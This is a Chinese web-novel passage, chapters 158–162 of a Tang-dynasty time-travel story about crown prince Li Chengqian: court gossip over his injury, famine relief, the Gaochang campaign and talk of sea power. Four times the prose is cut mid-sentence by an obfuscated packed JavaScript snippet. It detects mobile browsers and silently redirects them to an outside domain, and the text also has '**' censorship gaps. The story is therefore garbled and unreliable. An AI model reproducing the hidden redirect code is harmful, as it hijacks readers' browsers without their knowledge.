春耕籍田礼过后,皇帝下诏封尉迟宝琳为正四品下金吾卫中郎将,负责承天门的戍卫工作。 “您再不来上朝,魏叔玉会被魏侍中唠叨死。” 李承乾抿嘴轻笑,魏征经常同皇帝抬杠,逮住魏征的把柄,可不得使劲儿祸祸。 “你这是关心叔玉,孤怎么听出了幸灾乐祸的味道?” 尉迟宝琳听罢,哈哈大笑,“殿下有所不知,臣上次被老爷子追的打,叔玉他们笑话臣,有笑话回去的机会,臣怎么能放过?那句话咋说来着?君子报仇,十年不晚!” “好好地,鄂国公为什么要打你?” 尉迟宝琳道:“《贞观字典》发行之后,臣当然得买上一本放家里,毕竟那上面有臣的名字,结果臣家那老爷子一直贬损,搞的臣很没用的样子,臣实在气不过臣直接把字典扔他脸上了。” 李承乾:…… 以为是说说而已,这大兄弟是真敢砸尉迟恭脸上,孝子,实在是太孝了! “不怪鄂国公追着打你。” “什么不怪?殿下您不要拉偏架行不行?就怪他!他自己一身蛮力,字识得不多,非要臣满腹经纶,欺负老实人!” 李承乾轻咳不语,有一种同病相怜的感觉,皇帝也希望他能有一身七世纪最强碳基生物的武力值,完全不考虑现实是否可行。 “见过太子殿下!” 萧瑀和杨师道、岑文本迎面过来,李承乾赶忙迎了上去。 “殿下还倒药吗?” 出言调侃的是岑文本,李承乾无奈扶额,顺坡下驴,“陛下盯着,不敢不喝!” 听太子这么一说,众人含笑点头,一副我们都明白的神色。 “名声”受损,李承乾颇为无奈,却也只能认下“倒药”的梗。 第158章 瓷娃娃太子 “殿下,您这……” 额上的伤,成功引起了萧瑀和杨师道、岑文本三人的注意。 “难道是……” 萧瑀不敢提皇帝打太子,但闪烁的目光说明一切。 李承乾连忙否认,误会大了。 “头晕的很,走路没走稳,摔了一跤。” “什么?”萧瑀凑近一看,又见李承乾脸色苍白,满是病态,“殿下都病成这样了,陛下还逼着您来上朝?” “不是……”李承乾赶紧否认,“是孤自己来的,久不见诸公,甚是想念。” 想念他们? 萧瑀等人集体无语,找借口都不能找个走心一些的。 房玄龄和长孙无忌结伴而来,李承乾急忙上前见礼,“见过舅父。” 这礼长孙无忌敢受,房玄龄不敢,他直接来了个闪避,待李承乾和长孙无忌各自礼毕,他才向李承乾见礼。 “太子殿下,您头上这伤……”长孙无忌目光下意识落到太极殿,叹气道:“陛下也太任性了。” 李承乾:…… “舅父,我自己摔得,跟陛下没关系。” 长孙无忌拍拍李承乾肩膀,一副你不用解释,我都懂的表情。 魏征三步并作两步过来,李承乾拱手拜了一拜,“师傅,您来了。” “太子,你怎么受伤了?陛下打的?” 李承乾只能继续解释,“病得太久了,腿上没力气,走路不稳,自己摔得。” “魏叔玉那不争气的兔崽子,让老臣丢好大的人,老臣都没舍得打他。” 众人听罢,不约而同发笑。 李承乾扶额,他解释了这么多,大臣们还是觉得他被皇帝打了! “我这一次是真的病了,陛下不眠不休守了我三日,真不是陛下打我,你们真的误会陛下了。” 尉迟宝琳又不知从哪里冒出来,“殿下,臣早就想问了,要不是……” 自家老爷子有棍棒警告,不该问的别问,可大家都在问,又不是他尉迟宝琳先问的。 “殿下,就是被陛下打了也没啥,臣经常被尉迟老头追着打,整个长安几乎都知道。” 李承乾:…… “你个混账,你不要脸就罢了,还想带坏太子。待会儿上朝,我要同陛下好好说道说道,赏你一顿板子长长记性。” 这个声音…… 尉迟宝琳直接闪避到李承乾身后,“殿下救命,尉迟老头他要**亲子!” “逆子!” 尉迟恭气的牙痒痒,要不是兔崽子躲到李承乾身后,他非要上去踹几脚不可。 “你不是赋闲在家吗?上朝跟你有关系吗?你来凑热闹?” 魏征友情提示:“吐蕃来朝商议和亲事宜,令尊与常何将军负责长安巡防诸事,当然要来上朝。” 尉迟宝琳恍然大悟,“原来如此!” 韦挺近前,看到李承乾额头的伤,不出意外又问了一遍。 李承乾不厌其烦,又一次给众人解释。 大臣们陆陆续续在承天门外**,几乎每来一个人都要问一遍,李承乾只能一遍又一遍的解释。 好不容易熬到上朝,终于不用再解释了,李承乾总算松了口气。 春耕之后河南道、淮南道许多州县一个多月不曾降下雨水,形势很不乐观。 李承乾听得心里头闷闷的,却也没什么好办法,科技发达的二十一世纪,面对自然灾害,也只能防不能治。 陇右道肃州突发暴雪,当地官员赈灾不力,导致民众生乱,冲进官家府衙,发生死伤,李世民大怒,遂命吏部追责有司官员,民部按照肃州年初递交的预算划拨款项赈灾。 杨师道近前讨情,“陛下,灾害发生之后,肃州上下官员第一时间开仓放粮,进行了赈灾,不若让当地官员戴罪立功?” 百姓冲进府衙,还发生死伤,朝廷的颜面都给丢没了,李世民此刻心情差到极点,杨师道还敢来求情。 “赈灾没个赈灾的章程,这种废物到底谁推举上来的,给朕去查,朕不但要追责肃州官员,还要追责举荐人。” 杨师道下拜请罪,“臣识人不明,臣有罪!” 李世民冷哼一声,看向李承乾,“太子,若是你遇到此事,该当如何处置?” 皇帝要考察他突发事件处理能力,李承乾出列向皇帝拜了一拜,“臣以为赈灾,当有以下三步。第一,严守城门,加强城内外巡防,府库尤甚;第二,估测受灾百姓数量,大致受灾范围,查看府库存粮及银钱,开仓放粮;第三,贴出告示,监察商贩,不得恶意哄抬物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508249|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价。” 李世民点点头,“且说一说,为何要这样做。” 李承乾道:“大灾之时,奸邪生乱,盗匪借机生事,若不能及时遏制奸邪,任凭盗匪横行,好人被逼入绝境,朝廷将会失去公信,百姓就会拿起武器,不分对象的反抗,百姓同官府的对抗会加剧。只有稳定了灾区的秩序,赈灾才能有序进行。 地方府库存粮和银钱有限,灾害一旦发生,就要从附近州县调拨钱粮物资。当地有多少钱粮,需要调拨多少来补给,估测受灾百姓数量,才好上奏朝廷从其他州县调度粮食物资,保证赈灾物资的后续供给。 再有,朝廷的钱粮供给需要时间,了解受灾百姓数量与府库钱粮,进行有效赈灾规划,朝廷钱粮补给到地方之前,尽量不要灾区断粮,断了粮也要最大限度安抚百姓,稳定秩序,保证地方微观治理与朝廷统筹调控进行有效衔接。 大灾之年,不法商贩横行,他们常与地方豪强沆瀣一气,纠结地痞流氓,哄抬物价,扰乱灾区正常生活秩序,造成许多恶性事件发生。所以,灾害发生之初,官府就要贴出告示,遏制不法商贩。非常之时,当行非常之法,必要的时候杀一儆百。” 李世民满意点头,“这才是赈灾该有的章程,什么都不知道,就在那里开仓放粮。那是赈灾吗?那是吸奸引盗。第一个冲进官衙的未必是受灾的百姓,有些居心叵测之辈借百姓生事。生了**,州县官员就报一个灾民贪得无厌,枉顾天恩,请求朝廷派兵**。不爱惜百姓,草菅人命,前隋就是这么没得。” 李承乾摸了摸额角受伤的地方,不知道是不是摔下去的时候碰到了头,右半边鬓角有些胀痛,晕乎乎的。 从前他还能忍,现在皇帝对他还是很娇纵的,李承乾一刻都忍不了,只想回东宫休息。 “陛下,臣昨天可能摔到头了,右半边脑袋闷疼,请陛下恩准,臣想先回去歇着。” 闻言,李世民叹气,“阿难,你送太子乘坐朕的龙辇回东宫。” “陛下不可,这不合规矩,臣……” “行了!”李世民直接打断李承乾得发言,“规矩什么的先放一边,朕是真的怕了你了,别在回去的路上一个不小心又磕到哪儿!小胳膊小腿,跟个瓷娃娃似的,一碰就碎。” 李承乾:…… 第159章 打高昌 “药记得按时吃,你可比不得玄成命硬,药吃一口倒一碗还能活到这个岁数。” 魏征无辜躺枪,十分委屈的开口:“陛下,臣现在不倒药了,往后可别说太子被臣带坏了。” 李承乾无奈,他根本就没有倒药的习惯,皇帝纯属公报私仇,挖苦魏征,但又不能拆皇帝的台。 “臣也不是想倒药,就是烧的昏沉,有些小脾气,想让陛下哄哄臣。不成想闹出这么大的笑话,让诸公见笑了。” 学生给他解围,魏征赶紧解释,“陛下,您可是听见了,太子殿下倒药可不是跟臣学的,就是病中娇气要人哄,您不哄就算了,还说是臣带坏了太子,臣可冤枉**。” 李世民冷哼一声,李承乾给魏征解围,可真拉的下面子,真是感天动地师生情。 “看你病容憔悴,赶紧回去歇着,三天摔了两次,第一次朕接住了,第二次要是没有宫人挺身护主,你可就不是擦破点皮肉了。” 李承乾无奈叹气,他哪里有那么脆,都是意外啊!意外啊! “臣告退!” 解释就是掩饰,越解释越乱,回去养病,好好锻炼身体,身体好了,就不信还有人认为他脆。 “陛下,高句丽和大唐的边境不怎么太平,边地不少百姓都遭到了劫掠。” 兵部尚书李世绩一句话,将气氛拉入冰点。 登基十三年,年年都能听到有关高句丽扰乱边境的奏报,此起彼伏的骚扰,持续挑战着天可汗的耐性。 “戍边的将领都是干什么吃得?由着这蕞尔之邦,弹丸小国挑衅?” 李世绩道:“高句丽人狡诈,每每偷袭过后就撤退去深山老林,戍边的将领对此也颇为无奈。” “不止如此!”房玄龄出列补充,“大唐同新罗、百济多有贸易往来,也有不少商船被劫掠。” 李世民道:“劫掠大唐出海商船,都是哪些人?也是高句丽所为?” 房玄龄道:“听口音,不太像是高句丽人,没抓到活口,还不敢确定。官船戍卫森严,他们多次劫掠都被打退。从民船的百姓那里得知,那群亡命之徒每每得手,就以虐杀活人,**为乐,手段残忍至极。” 熟悉的作风,李世民心中有数,是倭国人,李承乾每每跟他聊起这个国家的人,都恨得咬牙切齿,眼下他对这些人也咬牙切齿。 “查清楚,朕倒要看看,是哪些不知死活的东西敢在大唐头上动土。不管是谁,敢来羞辱大唐,那就要用他们的鲜血为大唐洗刷这个耻辱。” 李世绩道:“还有一件事情,去岁薛延陀国递上国书,约定今年二月份来长安朝见,今年又以雪灾路难行,来长安途中迷路为由未至长安,将朝拜的时间定在了四月。” “迷路到哪儿去了?” 薛延陀国使者往西到长安,半道迷路至西南高昌,李世民早就收到消息隐忍不发,就是要大臣们提出来,顺手收拾高昌,两年后讨伐薛延陀国的借口也有了。 “高昌!”李世绩回答,又补充道:“高昌国王大礼相迎,薛延陀国使者到高昌之后,高昌以雪灾,国内不稳为由封国,截断大唐商队入西域的路。” “降而复叛,这样的属国要来做什么?”李世民目光扫向众大臣,“鄂国公,你们父子可愿意出征高昌,擒了鞠文泰来长安?” 鞠文泰那个德行,打高昌直接是捡功劳,出动李靖那都是羞辱李靖。 一个尉迟恭就够了,尉迟宝琳是他为李承乾准备的心腹,刚好给个立功的机会,回来就能接下东宫右屯卫中郎将一职。 尉迟恭当即下拜,“陛下有命,臣与犬子万死不辞。” 李世民点头,遂命人去传尉迟宝琳、杜荷入太极殿。 当即下诏,尉迟恭为陇右道行军大总管,尉迟宝琳为明威将军,领兵五万出兵高昌,改高昌为西洲,设立西洲府,命张亮为西洲刺史,杜荷为西洲太守,负责善后安抚工作。 杜荷是李承乾的狗头军师,本身也有些能力,对李世民而言,这货只要不**,那就放心的用,**也没事儿,别鼓动李承乾**就行。管理好西洲,过个一年保修,将人调入东宫任职。 早朝结束,李世民到东宫去看李承乾,李承乾还在睡着,早朝回来之后,安慰完妻子和儿子就一直睡到现在。 李世民不愿意打扰,留在正殿**,翻看李承乾的绘画手稿,其中有一张吸引了他的目光。 “阿难,你过来看,这个是不是猫熊?” 张阿难上前接过画稿,端详片刻,“是猫熊没错,太子殿下画的当真栩栩如生。” “好养吗?这东西? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508250|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 张阿难摇头,“没养过,不知道!” 李世民笑道:“前隋时,朕跟着太上皇入京为文献皇后拜寿,偶然在前隋宫中见过,是蜀中官员送给文献皇后的寿礼。你悄悄去办,让百骑司的人去一趟蜀地,不要惊动当地官员,捉两只带来长安。” 张阿难不着痕迹看了眼内殿还在睡觉的太子,笑着领命,“这个食铁兽,看着也好看,终南山就能有,陛下弄来更容易。” “阿难,你不了解太子,钱财方面,他是极有分寸的人,养只猫熊他能接受,养食铁兽消耗太大,他不会愿意的。” 送礼送不到心坎儿上,李承乾只会以为他装腔作势,虚情假意。 “太子殿下才德兼备,心性纯良又不失锋芒,就是不会奉承人,为人太过直率干脆。这样的性子,好在是遇了陛下这样的明主,若遇了昏君,怕早就折了。” 李世民笑容僵了僵,说得很好,下次别说了。 李承乾若只是臣,他的确是明主,可李承乾不单单是臣,所以他们父子最后走到了那个地步。 “别在这里奉承朕了,朕交给你的事情,办不好朕饶不了你。” 张阿难笑盈盈的出去,李承乾一直睡到黄昏时分,才从榻上爬起来,宫人端了汤药进殿,李世民接过来汤药,驱散宫人走进寝殿。 “承乾,可还要阿耶哄你吃药?” 李承乾头摇成拨浪鼓,“臣吃药,从来都没让人哄过。臣那样说,就是给魏师傅解围,免得他一直被百官调侃,让陛下见笑了。” “是吗?高先生没哄过你?” 李承乾尴尬一笑,脸色泛红,“哄过,那是很久之前的事情了,臣都大了,不需要人哄了。” 李世民将药递给李承乾,李承乾只是不需要他哄,姓高的站在这里说要哄,他敢保证李承乾立刻凑上去撒娇了。 “大唐的商船在海上被劫掠了,朕猜测是你说的倭寇所为,设立皇商头一年,商船就给倭寇劫掠,看样子,不仅是高句丽要打,倭寇也不得不防。” 李承乾将汤药一饮而尽,漱过口后开口:“海权,的确要重视。” “海权?” 李世民饶有兴趣看着李承乾,他对**上的名词,非常的感兴趣。 “说来听听!” 第160章 法师 农耕文明对海权认知不够,若能留下一颗海权启蒙的种子,任其生根发芽,已有的时空是枉然,这个平行的时空,子孙后代或许能少受些磨难。 李承乾沉默片刻,开口道:“海权,陛下可以理解为朝廷对海洋的控制和利用,在未来有专门的海军,对领海进行巡航保护,维护海权。” “海军?”又是一个新知识点,李世民追问道:“朕目前所见,只能是航运与渔业。听你这么说,在未来海洋作用应该极大,否则不至于组建军队。” 李承乾道:“海洋不仅有航运和渔业,还有海底的油气、矿产等资源。这些都是次要的,维护**,才是重视海权的重中之重。” 李世民道:“未来可以在海上驻兵吗?如若不能,那维护海权如何上升到维护**层面。” 肚子饿的难受,皇帝还要问东问西,李承乾颇为无奈,却不好拂皇帝的颜面,“未来有航母,非常时期,可以在海上驻兵,同陛下打高昌的道理是一样的,未来的人争海权,也是将战争推到国土之外。” “航母?听起来很厉害的样子!” 李承乾点头轻笑,脸上满是骄傲之色,“陛下若能去未来,有机会臣可以带您去看航母。” “这种东西可以看吗?” 李承乾笑道:“有些航母是对公众开放的,亲眼见证一个国家的强大,也是培养老百姓自豪感,以及对国家认同感,提高凝聚力的一种方式。” “所以,哪怕朕给你太子的位置,你也仍然以未来那个时代为荣?” 李承乾道:“若陛下见到那个时代,也会以后人为荣的。” “你说的海权,目前大唐能获利的只有航运和渔业,海底的那些东西,大唐没有能力去获取。海上外敌入侵,没有你说的航母,也很难将战火推出国土。” 李承乾点点头,海权同科学技术挂钩太强,大唐不具备这个条件,投入和收益不成正比,就算皇帝以强权进行海权维护,也很快就会夭折。 “臣只是告诉陛下这个概念,希望陛下可以将这个概念写入史书,种下一颗种子,未来科技发展到一定程度,自有后人去浇灌这颗种子,让它生根发芽,长成可以庇佑国家长治久安的大树。” 李世民叹气,“你总说科技生产力,不用到高科技,朕若是要对倭寇开战,你可能助朕一臂之力?” 李承乾思索片刻,“臣可以改良战船,火器。” “朕记得你说过,高先生当过五年的兵,他没跟你讲过训练有关的东西?” 李承乾笑道:“这个还真巧,老高就是海军士兵,不过臣没问过,臣又不打算参军,问那些做什么?” “你……”李世民恨铁不成钢看了李承乾半晌,最后都化作一句:“没出息,朕怎么就生了你这么个没出息的儿子。” 李承乾抿嘴轻笑,向皇帝道:“那陛下找几个和尚道士,把臣送回去,换个有出息的过来。” 话音未落,李世民脸色添了几分悲凉,问李承乾:“那个你,他不能回来吗?借尸还魂,一具尸体而已,朕可以找来。” 李承乾顿了一顿,皇帝对初始化他还有情义,想想也是,没有情义,初始化的他哪里敢那么造次,单凭那句“小李后”就足以让皇帝恼羞成怒**。 “朕可以给他封王,不做太子,只做朕的儿子。” 李承乾摇摇头,“陛下,您始终都是君,哪怕不做太子,另一个我也不可能放下芥蒂,把您当做一个父亲,那样做太危险了。” 罢了,不说这个话题,李世民说起早朝上的事情,“早朝朕已经下诏,尉迟恭为陇右道行军大总管,尉迟宝琳为明威将军,出征高昌。西州设立之后,以张亮为刺史,杜荷为太守,负责善后事宜。” 尉迟宝琳单纯过去刷经验,回来调入京任职,也有军功能服众。 刺史是军政长官,太守是行政长官,张亮深谙地方治理之道的,杜荷若不能胜任太守,也还有张亮兜底。 尉迟宝琳或者杜荷,都是崇贤馆在编人员,皇帝这一番安排,是在为他培养班底。 “陛下的苦心,臣都明白,谢陛下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513156|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李世民沉默良久,“若不是骑虎难下,朕更希望另一你回来。你做你的高明,肆无忌惮同高先生和付先生撒娇,享受你的岁月静好。朕好好疼爱承乾,像贞观七年之前那样疼爱他,弥补我们父子的遗憾。 此前为了解释这一身突如其来的学识,对群臣说的是梦中得仙人指点,一夜开悟。承乾,你是太子啊!有仙家点化太子,传达出去的信息就是上天对大唐社稷的认可与维护。若你突然没了这一身学识,就等于上天收回了对大唐的认可,这个后果太严重了。” 李承乾点头,这正是他要回来的理由,他留下的烂摊子太大了。 “怪朕,你一开始是藏拙,若朕一开始不拿太子妃和象儿逼着你,你就可以和朕的另一个承乾各回各位。朕的另一个承乾,完全可以胜任帝国的太子。” 李承乾不语,若没有这一身学识,不能为帝王所用,皇帝,还会说曾经的承乾太子,是一个合格的太子吗? “现在是贞观十三年,若臣一直藏拙,您这个时候应该在洛阳,赦免魏王封邑上的死囚,为魏王积攒名望。还会说出那句话:人生寿夭难期,万一太子不幸,安知诸王他日不为公辈之主!何得轻之!” 李世民呼吸一滞,无论是承乾还是转世后的承乾,这句话已然成了扎在承乾心里永远的刺。 “你好好休息,朕先回甘露殿去了。” 送走皇帝,李承乾唤了宫人进殿摆膳,睡了大半日,他早就饿了。 晚上睡不着觉,李承乾命人去拿了李象的功课过来。他不在的日子里,李象自学的成果很是不错,可以给李象安排难一些的题目了。 歇了两日,身体逐渐缓过来,四月份正是插秧的时间,李承乾将宜春苑里的秧苗重新移栽。 太子詹事、东宫三少先后前来探望,李承乾从李靖和魏征眼底看到了老母鸡看小鸡仔的感觉。 李承乾看明白了,皇帝那句“瓷娃娃”彻底定位了他在群臣眼里的形象,一个脆皮**师。 他的名声,就这么被败坏了! 第161章 赌约 知耻而后勇,李承乾每天五禽戏打的更频繁了。 李世民时不时会过来瞟几眼,然后带着一脸不忍直视的表情,唉声叹气的离开。 春耕籍田撒下的小米,李承乾时常去看,长势极好,只等着五月收获。 李靖进宫授课,李承乾打五禽戏给李靖看,“师傅,学生打的就那么差?” “说句公允话,不是很差,上佳!” 军神不会骗人,李承乾满心不解,“那陛下为何看我总是一脸的恨铁不成钢?” 李靖道:“五禽戏是养生的,不属于拳脚功夫,了解陛下的战绩,陛下看不上殿外这两下子太正常了。望子成龙,做父母的哪个不一样儿女继承自己的长处。” 李承乾暗暗吐槽:继承天可汗的战力,皇帝这辈子是别想了! “殿下养病期间,魏王在幕僚的鼓动下造谣生事,惹得京师流言纷纷,甚至引起了今年制考士子对殿下的质疑,陛下大怒,命国舅领刑部和大理寺彻查此事。” 他有另一个自己的记忆,当然知道皇帝故意封禁东宫给李泰下套,如今这样的结果也在意料之中。 “陛下怎么处置,不是我可以置喙的。雷霆雨露,尽出天门。天可汗,也不是我目前可以违逆的。” 不到万不得已,不跟皇帝拼命。 李靖道:“前些时日侯君集前往寒舍,闲谈有关谋略布阵之事,提到两个人。” “哪两个人?” 李靖道:“韩信与萧何。” 李承乾道:“人都以为,无萧何引荐,韩信未必有机会跟随汉高祖。不过学生不这么认为,汉高祖有识人之明,韩信非池中之物,有没有萧何引荐,史书上都会有淮阴侯。” 李靖道:“侯君集心志不小,品性却不佳,殿下莫要与之往来太甚,以免引来不必要的麻烦。臣教导过侯君集兵法,侯君集的为人旁人看不清楚,臣是再清楚不过,他心术不正绝非臣胡诌。” 李承乾拱手拜谢李靖,他与李德謇往来甚密,当初拉拢侯君集时,李靖也曾借李德謇之口提醒过他侯君集野心勃勃。只是那个时候,他不废而废,放手一搏,是他唯一的出路,哪怕毫无胜算。 苏氏有六个月的身子,愈发的嗜睡,李象去弘文馆念书,李靖离开之后,东宫又只剩下李承乾,习惯了快节奏的生活,闲赋在家就有些难熬了。 “殿下,长孙国舅求见。” 舅父来了,李承乾放下翻了一半的《素书》迎了出去,亲自烹茶为长孙无忌奉上。 “舅父来的正好,陪我对弈一局,前两个月忙的脑袋发闷,这两天是闲的发慌。” 长孙无忌抿了口茶汤,“承乾,这一次来是有正事同你讲。” “陛下让舅父事无巨细的查青雀以及他那一堆幕僚,是决心要送青雀出长安,舅父此来,是要我上疏为青雀开脱?” 当初他被废黜,囚禁在内侍省数月,衣食不足,就是李治上疏,说他即便犯下大错,也是天家骨肉,请皇帝念及父子之情,在衣食上厚待于他。 “舅父放心,我什么德行,陛下心中有数,这道奏疏上不上,无关紧要。” 长孙无忌道:“承乾不会对青雀赶尽杀绝,这些我知道,陛下也知道。上疏也不是为了陛下安心,是在朝野博一个贤良名声,群臣希望看到太子仁孝温厚。” “舅父,我与青雀剑拔**张,他多次坑害于我,这个时候我不落井下石,在朝野看来就已经是厚道人了。能位列太极殿,哪一个不是人精,我上疏保青雀,大臣们只会觉得我装腔作势,令人厌烦,至于仁孝温厚……” 李承乾笑了一声,又捧了一盏新茶给长孙无忌,“吴王恪与齐王祐被**,是我出言为他们辩护,陛下下诏申饬,又以权万纪为齐王府长史,也是我拦下陛下的诏书,维护了吴王与齐王。” 话说到这里,还有什么不明白的,李承乾平日里所作所为,已经是个温厚仁孝的太子,上疏维护李泰,反倒显得沽名钓誉,虚伪造作。 “年轻人,脑袋转的就是快。后生可敬,后生可畏。” 李承乾轻轻一笑,恭维长孙无忌,“舅父平日里教导,我都记在心里,半点不敢忘记。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515561|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哈哈……哈哈哈……” 长孙无忌突然大笑起来,让李承乾一时摸不着头脑。 “我查完此事,将卷宗交给陛下,陛下说要同我赌一把。陛下说他赌承乾不会上疏维护青雀,我赌经过我的游说承乾会上疏维护青雀。” 这两个人,真不是一般的无聊,李承乾不语,低头喝茶。 “陛下赢了!” 皇帝和长孙无忌俩无聊,李承乾这个时候也闲得慌,人一闲就喜欢八卦,李承乾十分好奇的发问:“赌约定下了,彩头是什么?” 说到这个,长孙无忌就来气,皇帝要哄儿子,坑他出钱又出力。 “食铁兽和猞猁,我选一个养。” “舅父,您可以两个都养!” 未来有动物保**,有贼心没味道,可现在是大唐,只要有那个实力,什么动物都能养。 “养不了两个,就养猞猁,主要是好养,代价会小一些,食铁兽挑食,不好养。” 长孙无忌轻轻一笑,“我可是听说了,承乾你三天两头往卫国公府跑,还被人**了,说你同朝中大臣往来太密。” 李承乾听罢,“随他们怎么**。” 从前他会怕,现在他根本一点不带怕,反而是皇帝怕,怕他真死在贞观十七年。 “承乾,不是舅父挑拨你们父子关系,实在是君心易变,往来重臣府邸,你要学着收敛。” 李承乾轻笑,这句话听来,倒是有几分真切的情意,到底是母亲相依为命的兄长。 “皇权之下无父子,何况舅甥,新君上位多拿旧臣立威。舅父,将来万一我不成了,您也抽身早退,如此,或许可保长孙氏一族无虞。” 这话听得倒像是谶语,长孙无忌心里头闷哄哄的,复又想起李承乾梦中开悟,得仙家点化,或许是提前预知了什么。 “承乾,你今年才二十一,大好的年华,怎么能说这样不吉利的话?这样的话,往后不要再说了。” 李承乾沉默片刻,话点到为止,长孙无忌能听多少,就不是他能决定的。 第162章 魏征的笑话 长孙无忌经过一番利益权衡,最后选择了养猞猁,原因无他,好养。 君臣多年,他可太了解李世民了,他是第一个被坑的,但绝不是最后一个被坑的。 李承乾又去李靖府邸了,许久不见银渐层甚是想念。 李德謇身上怨气,足以撑死邪剑仙。 撸完老虎,李承乾将李德謇叫到一旁,“你这是怎么了?愁眉不展的?” 李德謇满脸生无可恋,“殿下,您还想编撰什么东西吗?臣给您打下手,这个家是一天都待不下去。” 理解,大多数当代大学生现状,从学校刚回家,爸爸妈妈的好大儿/女,一个周过后,逆子/女什么时候开学,赶紧滚蛋,眼不见心不烦! “正巧我这两天在东宫也闲得发慌,有没有兴趣,编撰一本成语大全?。” 可以离开家了,不用忍受老父亲嫌弃的目光了,李德謇倒头就拜,李承乾赶紧把人扶起来,“别这样,折寿了,折寿了!” 说干就干,李承乾当即命李德謇召集参与《贞观字典》编撰的二代,翌日一早齐聚崇贤馆。 “殿下,您是不知道臣在家等的有多心痒痒,盼星星,盼月亮,可算是盼到殿下编新书。” 马恂笑道:“叔玉,我可是听说了,为了你那一句话,魏伯伯被陛下挖苦了一两个月,在座没有比你更盼殿下编书了。” 魏叔玉两手一摊,忍不住吐槽,“陛下挖苦他,同我有什么关系?咱们就是说,我说得是不是事实?你说他老人家天天给陛下上疏,自己怎么就听不进去实话呢?” 崇贤门外的魏征,脸色阴的滴水,同行君臣众人都捂着嘴,笑的肩膀乱颤。 “殿下,您怎么这个时候组织编写成语大全?我老尉迟明天这就要出征了,不能帮您搬书了。” 程处亮当即拆台,“你这是觉得《贞观字典》砸到尉迟伯伯脸上不够,要再来一本成语大全砸?” 尉迟宝琳气的牙痒痒,冲上去就要去揍程处亮,程处亮躲到高慎行身后,玩儿起了老鹰抓小鸡的游戏。 “尉迟伯伯都没自称老尉迟,你都成老尉迟了!” “哈哈……”尉迟宝琳叉腰大笑,“这你就不懂了,我家老爷子经常喊我小祖宗,我这辈分蹭蹭的长,可不就是老尉迟了吗?” 同样躺枪的尉迟恭,要不是皇帝不愿意惊动里面的人,他现在就要冲进去打死那个逆子。 萧锴斗志满满,“废话不多说,殿下您安排,您一声令下,我们各司其职。不为别的,就为在自家老爷子面前争口气。” 萧瑀摸了摸脑袋,他寻思着他也没咋嫌弃自家崽子啊?再说这个争气,不是争给自己的吗? 魏叔玉一拍脑袋,突然道:“给你们讲个笑话,你们千万保密,前几天同父亲出去钓鱼……” “魏叔玉,你给老子闭嘴!” 魏征爆粗口了,李世民一众人满脸不可思议的看向魏征,眼底八卦之光闪烁,这笑话得多大? 崇贤馆众人齐刷刷往外看,只见一院之隔的崇贤门外,正是李世民、房玄龄、魏征、萧瑀、马周等人。 父亲们又组团过来视察工作了,众人只觉得天塌了! 李世民一把拉住暴走的魏征,笑盈盈的看着魏叔玉,“贤侄,快说是什么笑话?” 这个架势,魏叔玉哪里敢说。 李世民故作严肃,说话语气重了几分,“不说,那就是欺君之罪,这可是掉脑袋的罪过。” 魏叔玉被这么一吓唬,也不敢再隐瞒,“前几天臣同父亲出去钓鱼,臣钓上来三条鱼,父亲他……” “他一条没钓上来?”尉迟宝琳抢答,“哈!我前天也和老爷子钓鱼了,他也是一条没钓上来。十次钓鱼,十一次空手而归,就不知道他钓了个啥!” “钓上来了!”魏叔玉十分难为情的解释,“只是,钓上来的不是鱼!” “那是什么?”李世民目光灼灼看着魏叔玉,“快说!” 李承乾心下暗自嘀咕,总不会是人民碎片吧? “钓上来条蛇!” 院子内瞬间落针可闻,却也只是一瞬,旋即爆发出雷鸣般的笑声。 自己师傅,李承乾不好笑的,憋笑憋的很是难受。 “玄成啊!”李世民笑的直不起腰来,扶着柱子一边说一边笑,“兴许是知道你这嘴巴太过毒辣,鱼都不敢上钩怕被毒死。” 房玄龄接着李世民的话,继续损魏征,“也就是蛇,不怕 